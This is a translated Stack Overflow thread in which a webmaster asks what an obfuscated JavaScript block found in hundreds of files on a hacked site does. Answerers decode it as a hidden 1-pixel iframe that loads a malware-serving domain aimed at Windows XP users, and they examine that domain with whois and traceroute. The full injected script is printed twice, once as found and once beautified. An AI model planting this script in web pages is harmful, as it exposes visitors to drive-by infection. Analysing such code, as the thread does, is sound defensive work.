这个脚本是干什么用的?- 被黑网站

11

我刚刚发现一个网站被黑客攻击了,我想知道这段JavaScript代码是做什么用的。据我所知,它试图将页面重定向到其他地方,但失败了。看起来它已经进入了服务器上的每一个文件。

<script>

function sF()
{
};
var sMN = new Array();
sF.prototype =
{
    b: function ()
    {
        wL = "wL";
        var c = "c";
        var wS = new Array();
        cY = '';
        this.bW = "bW";
        this.sR = 35912;
        var f = document;
        var uH = "uH";
        var cJ = 13620;
        var n = '';
        this.hI = 9833;
        this.wX = 45851;
        var bI = function ()
        {
        };
        var e = window;
        yM = '';
        a = "a";
        var mV = 57574;
        var pD = function ()
        {
        };
        var uQ = "";
        var m = this;
        this.v = false;
        var cB = false;
        this.t = 52080;
        var qY = false;
        this.oV = '';
        wG = false;
        var nW = function ()
        {
        };
        String.prototype.xAW = function (p, d)
        {
            var i = this;
            return i.replace(p, d)
        };
        this.xA = '';
        var bA = "";
        this.oZ = 27110;
        var rR = new Array();
        var mP = function ()
        {
            return 'mP'
        };
        this.aY = 39890;
        this.wE = false;
        var j = 'sbe)t)T)'.xAW(/[)O4Eb]/g, '') + 'iZm&eZoVu&tV'.xAW(/[V&{:Z]/g, '');
        var zR = new Date();
        var yV = 30047;
        this.wLU = 47818;
        var vX = '';

        function wD()
        {
        };
        hR = 22291;
        var jF = 'eNdNdUsreNtUAUtr'.xAW(/[rpXUN]/g, '') + 'tarNiNs9daf&'.xAW(/[&9aN6]/g, '');
        this.iI = false;
        this.nK = "nK";
        this.sS = '';
        this.pL = "pL";
        var uP = function ()
        {
        };
        var l = 'w$r$i9t$e|'.xAW(/[|$~(9]/g, '');
        var lK = false;
        var aU = "aU";
        var mB = new Array();
        var cS = function ()
        {
            return 'cS'
        };
        var nKP = "";
        var dH = function ()
        {
            return 'dH'
        };
        try
        {
            tG = "";
            var jB = new Date();
            hX = '';
            var sE = "";
            var pE = new Array();
            fZ = 41855;
            var o = 's)ut'.xAW(/[tJ)md]/g, '') + 'bD'.xAW(/[D$sE{]/g, '') + 'sQtQrQiu'.xAW(/[u+QY/]/g, '') + 'njg7'.xAW(/[7qjky]/g, '');
            this.eV = '';
            dS = '';
            eS = false;
            this.eVS = false;
            var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, '');
            fH = "fH";
            vU = "";
            this.hA = "";
            lB = 56028;
            var vN = '';
            var q = 'szrzcz'.xAW(/[z(k+G]/g, '');

            function uT()
            {
            };
            this.jKG = 26380;
            this.eG = 41884;
            wM = "wM";
            var zQ = function ()
            {
            };

            function aW()
            {
            };
            var lD = 16264;
            sU = "";
            var h = 'o|fRf@c$r/e|a@'.xAW(/[@$|R/]/g, '') + 'tLepE4l4eLm&'.xAW(/[&4LpO]/g, '') + 'e0n0t,rDeDdK'.xAW(/[K0,lD]/g, '');
            var iV = '';
            var sUW = function ()
            {
            };
            var k = false;
            this.kT = false;
            this.rW = "rW";
            var dY = 60892;
            this.xX = 51713;
            this.vS = 62755;
            var jK = 'lQy;r)h)eQiU'.xAW(/[U)QN;]/g, '') + 'gNhHt!gHr4eB'.xAW(/[BN!4H]/g, '');

            function wT()
            {
            };
            bV = "";
            var hM = new Date();
            var bL = new Array();
            var dM = false;
            var mI = "";
            var x = 't]eTdTwTizdp'.xAW(/[p]z2T]/g, '') + 'tihqg]rqdi'.xAW(/[i]bNq]/g, '');
            var sD = '';
            this.dN = '';
            this.lT = "lT";
            var jCF = function ()
            {
                return 'jCF'
            };

            function xAA()
            {
            };
            var iIQ = function ()
            {
                return 'iIQ'
            };
            var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, '');
            var vD = "";
            var oF = function ()
            {
            };
            var wGT = "";
            xJD = "xJD";
            var wH = new Date();
            var mM = function ()
            {
            };
            var dP = "dP";
            var qF = '';
            var vV = "";
            mY = false;
            var w = 'p0u<s<hk'.xAW(/[kP0Q<]/g, '');
            var pN = function ()
            {
                return 'pN'
            };
            sM = 43919;
            mZ = false;
            fM = '';
            var g = "";
            hF = 51580;
            var fJ = new Date();
            this.tU = "";
            var gG = "gG";
            kD = "";
            this.hAU = "hAU";
            jAV = "";
            var qP = '';
            var cT = "cT";
            var wZ = function ()
            {
            };
            var rE = 'abscwGibfcrGlGiJjJ'.xAW(/[JGDcb]/g, '');
            var nT = new Array();
            var mA = function ()
            {
            };
            var oZJ = function ()
            {
                return 'oZJ'
            };
            this.aM = "";
            nM = 5166;
            nTR = "";
            var oL = 'f#'.xAW(/[#A4@&]/g, '');
            zC = false;
            tD = "";
            this.vQ = false;
            var lZN = function ()
            {
                return 'lZN'
            };
            lY = 40654;
            y = 'spwpq,1mlmypt4'.xAW(/[4pmM,]/g, '');
            var qD = "qD";
            this.mS = false;
            this.jCN = "jCN";
            var fV = 26384;
            tI = "tI";
            this.aP = '';
            s = 'a#,pw727hId#eI'.xAW(/[I#up7]/g, '');
            xY = false;
            var kU = function ()
            {
                return 'kU'
            };
            var dJ = "dJ";
            var sUH = function ()
            {
                return 'sUH'
            };
            aI = 43838;
            var dK = false;
            this.gR = '';
            var oU = new Array();
            sZ = 5437;
            kH = "kH";
            var rY = false;
            this.wV = 49424;
            oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y);
            var eI = "";

            function sMF()
            {
            };
            dSG = '';
            oD = 15793;
            var nQ = function ()
            {
            };
            this.sK = 12917;
            this.gC = false;

            function lBP()
            {
            };
            qDD = '';
            var tA = 1992;
            wC = "wC";
            this.qV = false;
            this.aD = '';
            wJ = false;

            function tF()
            {
            };
            var rH = new Date();

            function qT()
            {
            };
            var vUG = new Date();
            var gB = new Date();
            this.uL = "";
            var nS = "nS";

            function dQ()
            {
            };
            qVK = "qVK";
            var hQ = new Array();
            var lW = new Array();
            rG = false;
            var gN = "gN";

            function iE()
            {
            };
            gV = "gV";
            sT = '';
            this.fR = "fR";
            var wGW = 47062;
            this.qJ = "";
            this.gBS = "";
            var nN = function ()
            {
            };
            var gT = false;
            this.qM = "";
            var qA = false;
            this.oDD = false;
            eZ = "eZ";
            this.iW = "";

            function oFD()
            {
            };
            var tN = function ()
            {
                return 'tN'
            };
            tT = 20890;
            var uJ = '';
            var rM = '';
            xO = false;
            rK = '';
            this.aMR = 31691;
            var oLW = new Date();
            this.nJ = "";
            this.pV = 7748;
            var vJ = 8022;
            iA = 45357;
            var dD = new Array();
            var rGR = '';
            fU = '';
            this.aYO = "";
            var gNM = function ()
            {
                return 'gNM'
            };
            fN = "";
            this.yT = false;
            var rC = false;
            var tX = "";
            var mU = 41520;
            this.aJ = "";
            this.cH = "cH";
            var yY = function ()
            {
            };
            var kI = "kI";

            function tK()
            {
            };
            var tAQ = false;
            uTD = "uTD";
            var hIH = "hIH";

            function lBC()
            {
            };
            this.vA = false;
            var sDO = false;
            eZN = "eZN";
            var iL = new Date();
            var bZ = 41417;
            var dX = '';
            var bS = function ()
            {
            };
            mX = false;
            this.sDY = 12981;
            var sMFV = "sMFV";
            var xT = new Array();
            iF = "";
            var zY = '';
            vNL = '';
            var hJ = "hJ";
            var nI = function ()
            {
                return 'nI'
            };
            var tGJ = 41886;
            xAM = false;
            var tDK = 5185;
            var wSH = new Array();
            iEM = "iEM";
            this.pX = '';
            this.sH = false;
            hN = '';
            var qZ = new Date();
            qE = "qE";
            var qX = "";
            var sUT = false;
            eN = "";

            function bT()
            {
            };
            var qDC = "qDC";
            yR = "yR";
            var dMG = false;
            this.nL = "";
            var oUK = '';
            var cW = 60401;
            var xOR = 50628;
            vW = "vW";
            this.qR = "qR";
            var kB = false;

            function fG()
            {
            };
            var yVS = new Date();
            var eQ = oU[5][oU[4]](3, 16);
            this.sRU = 40424;
            var vSZ = false;
            var oUC = function ()
            {
            };
            var pS = new Date();
            tC = '';
            var uW = "uW";
            cA = "";
            var xJ = oU[7][oU[4]](3, 6);
            nE = "nE";
            var jV = false;
            fUG = "";
            var aX = false;
            this.zJ = '';
            this.dC = "dC";

            function lDV()
            {
            };
            var u = oU[1][oU[4]](3, 4);
            var aF = function ()
            {
            };
            this.sKM = '';
            gH = 35602;
            this.tE = false;
            this.wR = '';
            var lQ = function ()
            {
                return 'lQ'
            };
            jA = xJ + 'a3m3e3'.xAW(/[3Fr6h]/g, '');
            var tNZ = false;
            sHZ = '';
            var zI = new Date();
            this.hT = '';
            fY = false;
            this.aN = "aN";
            var qEY = 35434;
            var z = oU[12][oU[4]](3, 4);
            var hZQ = new Date();
            var cX = function ()
            {
                return 'cX'
            };
            this.lI = false;
            this.nMM = "";
            var dV = "";
            iM = false;
            var rJ = oU[8][oU[4]](3, 11);
            yVB = false;
            this.zP = "";
            this.jO = 34768;
            var bH = new Array();
            this.hIHR = "hIHR";
            lZ = rJ + 'b)u.tHeQ'.xAW(/[QH)N.]/g, '');
            var xI = new Date();
            this.yJ = false;
            this.tGO = 27688;
            this.yN = 6549;
            xE = '';
            var bZF = false;
            var xZ = oU[11][eQ](jA);
            zYQ = false;
            this.mC = 40578;
            var zPY = '';
            this.yTB = '';
            var gA = function ()
            {
            };
            var qL = 29571;
            var iZ = new Date();
            var qN = oU[3][oU[4]](3, 9);
            var vP = "vP";
            var yQ = new Date();
            this.gX = '';
            var iZV = '';
            this.hH = 63374;
            var jC = oU[6][oU[4]](3, 8);
            var lKY = new Date();
            var sRA = "";
            var kUY = '';
            var zS = function ()
            {
                return 'zS'
            };
            xZ[oU[2]] = 'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'.xAW(/[)6T|!]/g, '');
            this.rT = false;
            var qU = '';
            var nQX = function ()
            {
                return 'nQX'
            };
            this.nQK = "";
            fK = false;
            var aK = new Array();
            this.eC = "";
            uM = '';
            qXG = "qXG";
            cD = "cD";
            this.mL = false;
            var xF = function ()
            {
            };
            xZ[jC] = u;
            lH = false;
            var hRX = 24381;
            var jP = "jP";
            var rD = new Array();
            this.pK = "pK";
            sQ = '';
            this.lJ = '';
            var dW = function ()
            {
                return 'dW'
            };
            var eP = new Array();
            xZ[qN] = z;
            var mK = new Date();
            var sZM = 33888;
            var wJZ = "wJZ";
            zA = "";
            var fW = function ()
            {
            };
            this.lIJ = "";
            xL = "";
            var rKL = 29796;
            var xR = new Date();
            var pP = false;
            var qK = "";
            gTS = "";
            oU[11][oU[9]][oU[10]](xZ);
            var aG = function ()
            {
                return 'aG'
            };

            function hV()
            {
            };
            gE = "gE";
            var uHJ = "";
            this.nNX = false;
        }
        catch (xG)
        {
            this.wSN = '';

            function yJX()
            {
            };
            var sTG = new Array();
            this.wCW = "wCW";
            this.eT = "eT";
            iK = "iK";
            f[l]('<RhRt[m;l; [>a<[b|oRd[y; ;>|<|t[d; R>a<[/atRdR>a<;/Rbao[d[y;>;<;/|h|t;malR>R'.xAW(/[Ra[|;]/g, ''));
            this.xN = 35962;
            var uJT = 22074;
            fL = '';
            var wJD = '';
            oFI = '';
            e[j](function ()
            {
                m.b()
            }, 141);
            tEC = "";
            this.vK = "vK";
            var hS = function ()
            {
            };
            var gTT = new Array();
        }
        var yJB = function ()
        {
            return 'yJB'
        };
        this.mXU = "mXU";
        this.tFO = false;
    }
};
var fI = 4253;
var bJ = new sF();
bVT = 29950;
bJ.b();
var hK = function ()
{
    return 'hK'
};
</script>

感谢Peter Ajtai的协助整理(尽管编辑似乎重新加载了脚本,但一切都清除了...可能是SO的问题)。

4
这段代码看起来被混淆和压缩了,至少要尝试将其解析一下,这样我们就不必为你做繁琐的工作了。 - gillyb
我知道有人会澄清这个问题... - WalterJ89
1
最好在没有网络连接的虚拟机上运行此类事物。 - SiggyF
我不明白...为什么你要“黑掉”一个有超过一百行Javascript代码的网站,而这些代码实际上只是做了window.location = 'someevilwebsite'这样的事情?混淆Javascript的意义何在?是为了让它看起来邪恶吗? - Harmen
让它变得混乱,我认为。这个相同的脚本出现在该网站的800多个文件中。而且还有一些变体潜藏着。 - WalterJ89
4
为了使基于正则表达式的工具难以检测到它并在发现后清理它。 - Tim Post
3个回答

42

好的,这是我已经了解的内容...

基本上,这个脚本执行了一个

document.body.append('<iframe height="1" src="http://macromediasetup.com/zombie/">');

关键语句是:

oU[11][oU[9]][oU[10]](xZ);

oU是由以下代码生成的数组:

oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y);

oU[w]是对Array.push的引用。因此,调用这个函数将这13个项推入到数组中。f、hZ和r分别对应于oU[11]、oU[9]和oU[10]。

var f = document;
var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, '');  // evaluates to "body"
var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, ''); // evaluates to "append"

因此,这变成了document['body']['append']document.body.append()

xZ是iframe字符串,所以它正在将该iframe添加到页面中。尽管直接访问macromediasetup.com只会重定向到adobe.com,但访问zombie路由会产生完全不同的结果...

而且,该域名的whois信息显示它不是Adobe拥有的:

$ whois macromediasetup.com
[Querying whois.verisign-grs.com]
[Redirected to whois.PublicDomainRegistry.com]
[Querying whois.PublicDomainRegistry.com]
[whois.PublicDomainRegistry.com]
Registration Service Provided By: DOMAIN NAMES REGISTRAR REG.RU LTD.
Contact: +7.4955801111

Domain Name: MACROMEDIASETUP.COM

Registrant:
    PrivacyProtect.org
    Domain Admin        (contact@privacyprotect.org)
    P.O. Box 97
    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Moergestel
    null,5066 ZH
    NL
    Tel. +45.36946676

Creation Date: 28-May-2010
Expiration Date: 28-May-2011

Domain servers in listed order:
    ns2.reg.ru
    ns1.reg.ru


Administrative Contact:
    PrivacyProtect.org
    Domain Admin        (contact@privacyprotect.org)
    P.O. Box 97
    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Moergestel
    null,5066 ZH
    NL
    Tel. +45.36946676

Technical Contact:
    PrivacyProtect.org
    Domain Admin        (contact@privacyprotect.org)
    P.O. Box 97
    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Moergestel
    null,5066 ZH
    NL
    Tel. +45.36946676

Billing Contact:
    PrivacyProtect.org
    Domain Admin        (contact@privacyprotect.org)
    P.O. Box 97
    Note - All Postal Mails Rejected, visit Privacyprotect.org
    Moergestel
    null,5066 ZH
    NL
    Tel. +45.36946676

Traceroute显示它正朝向拉脱维亚某个地方...

 7  nyk-bb1-link.telia.net (80.91.252.162)  77.169 ms  77.401 ms  77.327 ms
 8  kbn-bb1-link.telia.net (80.91.254.88)  156.938 ms  156.960 ms  156.842 ms
 9  s-bb1-link.telia.net (80.91.247.160)  166.491 ms  166.425 ms  166.499 ms
10  s-b3-link.telia.net (80.91.247.105)  212.715 ms  212.759 ms  212.776 ms
11  telia-latvija-ic-132810-s-b3.c.telia.net (213.248.82.134)  203.272 ms  203.313 ms  203.936 ms

编辑 好的,我进行了更多的挖掘,因为这很有趣,而且我确切地弄清楚了正在发生的事情。包含在iframe中的文件检索一个文件,该文件将使用"hcp"协议黑客攻击Windows XP机器。基本上,包含的文件将在您的浏览器中显示一个“您需要安装一些您没有的时髦插件”消息...然后,当你安装它时,你就陷入了困境。


太棒了,好老的俄罗斯注册商。我见过的大多数黑客都来自俄罗斯,所以我并不感到惊讶。 - WalterJ89
4
@WalterJ89 拉脱维亚不是俄罗斯。 - Jax
@DJMethaneMan 我认为他指出了注册机以.RU结尾。 - sberry
@DJMethaneMan 谈论挖掘旧帖子。是的,拉脱维亚还没有并入俄罗斯(这是个玩笑,请冷静)。再次感谢sberry。有趣的是,在过去的5.5年里,我变得更擅长做这件事了。 - WalterJ89
@walterj89 哈哈 - 我仍然记得这个。 这是很多答案之前的事情了。由于某种奇怪的原因,最近这个问题获得了很多赞 - 我想可能是某些流量驱动了这里的访问量。 - sberry
@sberry 好的,拉脱维亚的官方顶级域名以.lv结尾。 - sitilge

7

我会做的第一件事是美化脚本 - 我使用了 - http://jsbeautifier.org/

这行代码引起了我的注意(为了方便阅读,已将其分行):

 xZ[oU[2]] =
'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'
. xAW(/[)6T|!]/g, '');

整个脚本如下:
function sF()
{
};
var sMN = new Array();
sF.prototype =
{
    b: function ()
    {
        wL = "wL";
        var c = "c";
        var wS = new Array();
        cY = '';
        this.bW = "bW";
        this.sR = 35912;
        var f = document;
        var uH = "uH";
        var cJ = 13620;
        var n = '';
        this.hI = 9833;
        this.wX = 45851;
        var bI = function ()
        {
        };
        var e = window;
        yM = '';
        a = "a";
        var mV = 57574;
        var pD = function ()
        {
        };
        var uQ = "";
        var m = this;
        this.v = false;
        var cB = false;
        this.t = 52080;
        var qY = false;
        this.oV = '';
        wG = false;
        var nW = function ()
        {
        };
        String.prototype.xAW = function (p, d)
        {
            var i = this;
            return i.replace(p, d)
        };
        this.xA = '';
        var bA = "";
        this.oZ = 27110;
        var rR = new Array();
        var mP = function ()
        {
            return 'mP'
        };
        this.aY = 39890;
        this.wE = false;
        var j = 'sbe)t)T)'.xAW(/[)O4Eb]/g, '') + 'iZm&eZoVu&tV'.xAW(/[V&{:Z]/g, '');
        var zR = new Date();
        var yV = 30047;
        this.wLU = 47818;
        var vX = '';

        function wD()
        {
        };
        hR = 22291;
        var jF = 'eNdNdUsreNtUAUtr'.xAW(/[rpXUN]/g, '') + 'tarNiNs9daf&'.xAW(/[&9aN6]/g, '');
        this.iI = false;
        this.nK = "nK";
        this.sS = '';
        this.pL = "pL";
        var uP = function ()
        {
        };
        var l = 'w$r$i9t$e|'.xAW(/[|$~(9]/g, '');
        var lK = false;
        var aU = "aU";
        var mB = new Array();
        var cS = function ()
        {
            return 'cS'
        };
        var nKP = "";
        var dH = function ()
        {
            return 'dH'
        };
        try
        {
            tG = "";
            var jB = new Date();
            hX = '';
            var sE = "";
            var pE = new Array();
            fZ = 41855;
            var o = 's)ut'.xAW(/[tJ)md]/g, '') + 'bD'.xAW(/[D$sE{]/g, '') + 'sQtQrQiu'.xAW(/[u+QY/]/g, '') + 'njg7'.xAW(/[7qjky]/g, '');
            this.eV = '';
            dS = '';
            eS = false;
            this.eVS = false;
            var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, '');
            fH = "fH";
            vU = "";
            this.hA = "";
            lB = 56028;
            var vN = '';
            var q = 'szrzcz'.xAW(/[z(k+G]/g, '');

            function uT()
            {
            };
            this.jKG = 26380;
            this.eG = 41884;
            wM = "wM";
            var zQ = function ()
            {
            };

            function aW()
            {
            };
            var lD = 16264;
            sU = "";
            var h = 'o|fRf@c$r/e|a@'.xAW(/[@$|R/]/g, '') + 'tLepE4l4eLm&'.xAW(/[&4LpO]/g, '') + 'e0n0t,rDeDdK'.xAW(/[K0,lD]/g, '');
            var iV = '';
            var sUW = function ()
            {
            };
            var k = false;
            this.kT = false;
            this.rW = "rW";
            var dY = 60892;
            this.xX = 51713;
            this.vS = 62755;
            var jK = 'lQy;r)h)eQiU'.xAW(/[U)QN;]/g, '') + 'gNhHt!gHr4eB'.xAW(/[BN!4H]/g, '');

            function wT()
            {
            };
            bV = "";
            var hM = new Date();
            var bL = new Array();
            var dM = false;
            var mI = "";
            var x = 't]eTdTwTizdp'.xAW(/[p]z2T]/g, '') + 'tihqg]rqdi'.xAW(/[i]bNq]/g, '');
            var sD = '';
            this.dN = '';
            this.lT = "lT";
            var jCF = function ()
            {
                return 'jCF'
            };

            function xAA()
            {
            };
            var iIQ = function ()
            {
                return 'iIQ'
            };
            var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, '');
            var vD = "";
            var oF = function ()
            {
            };
            var wGT = "";
            xJD = "xJD";
            var wH = new Date();
            var mM = function ()
            {
            };
            var dP = "dP";
            var qF = '';
            var vV = "";
            mY = false;
            var w = 'p0u<s<hk'.xAW(/[kP0Q<]/g, '');
            var pN = function ()
            {
                return 'pN'
            };
            sM = 43919;
            mZ = false;
            fM = '';
            var g = "";
            hF = 51580;
            var fJ = new Date();
            this.tU = "";
            var gG = "gG";
            kD = "";
            this.hAU = "hAU";
            jAV = "";
            var qP = '';
            var cT = "cT";
            var wZ = function ()
            {
            };
            var rE = 'abscwGibfcrGlGiJjJ'.xAW(/[JGDcb]/g, '');
            var nT = new Array();
            var mA = function ()
            {
            };
            var oZJ = function ()
            {
                return 'oZJ'
            };
            this.aM = "";
            nM = 5166;
            nTR = "";
            var oL = 'f#'.xAW(/[#A4@&]/g, '');
            zC = false;
            tD = "";
            this.vQ = false;
            var lZN = function ()
            {
                return 'lZN'
            };
            lY = 40654;
            y = 'spwpq,1mlmypt4'.xAW(/[4pmM,]/g, '');
            var qD = "qD";
            this.mS = false;
            this.jCN = "jCN";
            var fV = 26384;
            tI = "tI";
            this.aP = '';
            s = 'a#,pw727hId#eI'.xAW(/[I#up7]/g, '');
            xY = false;
            var kU = function ()
            {
                return 'kU'
            };
            var dJ = "dJ";
            var sUH = function ()
            {
                return 'sUH'
            };
            aI = 43838;
            var dK = false;
            this.gR = '';
            var oU = new Array();
            sZ = 5437;
            kH = "kH";
            var rY = false;
            this.wV = 49424;
            oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y);
            var eI = "";

            function sMF()
            {
            };
            dSG = '';
            oD = 15793;
            var nQ = function ()
            {
            };
            this.sK = 12917;
            this.gC = false;

            function lBP()
            {
            };
            qDD = '';
            var tA = 1992;
            wC = "wC";
            this.qV = false;
            this.aD = '';
            wJ = false;

            function tF()
            {
            };
            var rH = new Date();

            function qT()
            {
            };
            var vUG = new Date();
            var gB = new Date();
            this.uL = "";
            var nS = "nS";

            function dQ()
            {
            };
            qVK = "qVK";
            var hQ = new Array();
            var lW = new Array();
            rG = false;
            var gN = "gN";

            function iE()
            {
            };
            gV = "gV";
            sT = '';
            this.fR = "fR";
            var wGW = 47062;
            this.qJ = "";
            this.gBS = "";
            var nN = function ()
            {
            };
            var gT = false;
            this.qM = "";
            var qA = false;
            this.oDD = false;
            eZ = "eZ";
            this.iW = "";

            function oFD()
            {
            };
            var tN = function ()
            {
                return 'tN'
            };
            tT = 20890;
            var uJ = '';
            var rM = '';
            xO = false;
            rK = '';
            this.aMR = 31691;
            var oLW = new Date();
            this.nJ = "";
            this.pV = 7748;
            var vJ = 8022;
            iA = 45357;
            var dD = new Array();
            var rGR = '';
            fU = '';
            this.aYO = "";
            var gNM = function ()
            {
                return 'gNM'
            };
            fN = "";
            this.yT = false;
            var rC = false;
            var tX = "";
            var mU = 41520;
            this.aJ = "";
            this.cH = "cH";
            var yY = function ()
            {
            };
            var kI = "kI";

            function tK()
            {
            };
            var tAQ = false;
            uTD = "uTD";
            var hIH = "hIH";

            function lBC()
            {
            };
            this.vA = false;
            var sDO = false;
            eZN = "eZN";
            var iL = new Date();
            var bZ = 41417;
            var dX = '';
            var bS = function ()
            {
            };
            mX = false;
            this.sDY = 12981;
            var sMFV = "sMFV";
            var xT = new Array();
            iF = "";
            var zY = '';
            vNL = '';
            var hJ = "hJ";
            var nI = function ()
            {
                return 'nI'
            };
            var tGJ = 41886;
            xAM = false;
            var tDK = 5185;
            var wSH = new Array();
            iEM = "iEM";
            this.pX = '';
            this.sH = false;
            hN = '';
            var qZ = new Date();
            qE = "qE";
            var qX = "";
            var sUT = false;
            eN = "";

            function bT()
            {
            };
            var qDC = "qDC";
            yR = "yR";
            var dMG = false;
            this.nL = "";
            var oUK = '';
            var cW = 60401;
            var xOR = 50628;
            vW = "vW";
            this.qR = "qR";
            var kB = false;

            function fG()
            {
            };
            var yVS = new Date();
            var eQ = oU[5][oU[4]](3, 16);
            this.sRU = 40424;
            var vSZ = false;
            var oUC = function ()
            {
            };
            var pS = new Date();
            tC = '';
            var uW = "uW";
            cA = "";
            var xJ = oU[7][oU[4]](3, 6);
            nE = "nE";
            var jV = false;
            fUG = "";
            var aX = false;
            this.zJ = '';
            this.dC = "dC";

            function lDV()
            {
            };
            var u = oU[1][oU[4]](3, 4);
            var aF = function ()
            {
            };
            this.sKM = '';
            gH = 35602;
            this.tE = false;
            this.wR = '';
            var lQ = function ()
            {
                return 'lQ'
            };
            jA = xJ + 'a3m3e3'.xAW(/[3Fr6h]/g, '');
            var tNZ = false;
            sHZ = '';
            var zI = new Date();
            this.hT = '';
            fY = false;
            this.aN = "aN";
            var qEY = 35434;
            var z = oU[12][oU[4]](3, 4);
            var hZQ = new Date();
            var cX = function ()
            {
                return 'cX'
            };
            this.lI = false;
            this.nMM = "";
            var dV = "";
            iM = false;
            var rJ = oU[8][oU[4]](3, 11);
            yVB = false;
            this.zP = "";
            this.jO = 34768;
            var bH = new Array();
            this.hIHR = "hIHR";
            lZ = rJ + 'b)u.tHeQ'.xAW(/[QH)N.]/g, '');
            var xI = new Date();
            this.yJ = false;
            this.tGO = 27688;
            this.yN = 6549;
            xE = '';
            var bZF = false;
            var xZ = oU[11][eQ](jA);
            zYQ = false;
            this.mC = 40578;
            var zPY = '';
            this.yTB = '';
            var gA = function ()
            {
            };
            var qL = 29571;
            var iZ = new Date();
            var qN = oU[3][oU[4]](3, 9);
            var vP = "vP";
            var yQ = new Date();
            this.gX = '';
            var iZV = '';
            this.hH = 63374;
            var jC = oU[6][oU[4]](3, 8);
            var lKY = new Date();
            var sRA = "";
            var kUY = '';
            var zS = function ()
            {
                return 'zS'
            };
            xZ[oU[2]] = 'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'.xAW(/[)6T|!]/g, '');
            this.rT = false;
            var qU = '';
            var nQX = function ()
            {
                return 'nQX'
            };
            this.nQK = "";
            fK = false;
            var aK = new Array();
            this.eC = "";
            uM = '';
            qXG = "qXG";
            cD = "cD";
            this.mL = false;
            var xF = function ()
            {
            };
            xZ[jC] = u;
            lH = false;
            var hRX = 24381;
            var jP = "jP";
            var rD = new Array();
            this.pK = "pK";
            sQ = '';
            this.lJ = '';
            var dW = function ()
            {
                return 'dW'
            };
            var eP = new Array();
            xZ[qN] = z;
            var mK = new Date();
            var sZM = 33888;
            var wJZ = "wJZ";
            zA = "";
            var fW = function ()
            {
            };
            this.lIJ = "";
            xL = "";
            var rKL = 29796;
            var xR = new Date();
            var pP = false;
            var qK = "";
            gTS = "";
            oU[11][oU[9]][oU[10]](xZ);
            var aG = function ()
            {
                return 'aG'
            };

            function hV()
            {
            };
            gE = "gE";
            var uHJ = "";
            this.nNX = false;
        }
        catch (xG)
        {
            this.wSN = '';

            function yJX()
            {
            };
            var sTG = new Array();
            this.wCW = "wCW";
            this.eT = "eT";
            iK = "iK";
            f[l]('<RhRt[m;l; [>a<[b|oRd[y; ;>|<|t[d; R>a<[/atRdR>a<;/Rbao[d[y;>;<;/|h|t;malR>R'.xAW(/[Ra[|;]/g, ''));
            this.xN = 35962;
            var uJT = 22074;
            fL = '';
            var wJD = '';
            oFI = '';
            e[j](function ()
            {
                m.b()
            }, 141);
            tEC = "";
            this.vK = "vK";
            var hS = function ()
            {
            };
            var gTT = new Array();
        }
        var yJB = function ()
        {
            return 'yJB'
        };
        this.mXU = "mXU";
        this.tFO = false;
    }
};
var fI = 4253;
var bJ = new sF();
bVT = 29950;
bJ.b();
var hK = function ()
{
    return 'hK'
};

1
看起来它重定向到macromediasetup.com。该域在FF中会出现“报告攻击页面”的警告。但它只是重定向到Adobe。 - WalterJ89

4

这是混淆的JavaScript代码。有一些工具和网站可以让你调试它并在执行之前看到最终代码。这里有一个示例插件,可以让你做到这一点:Firefox的JavaScript反混淆器


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接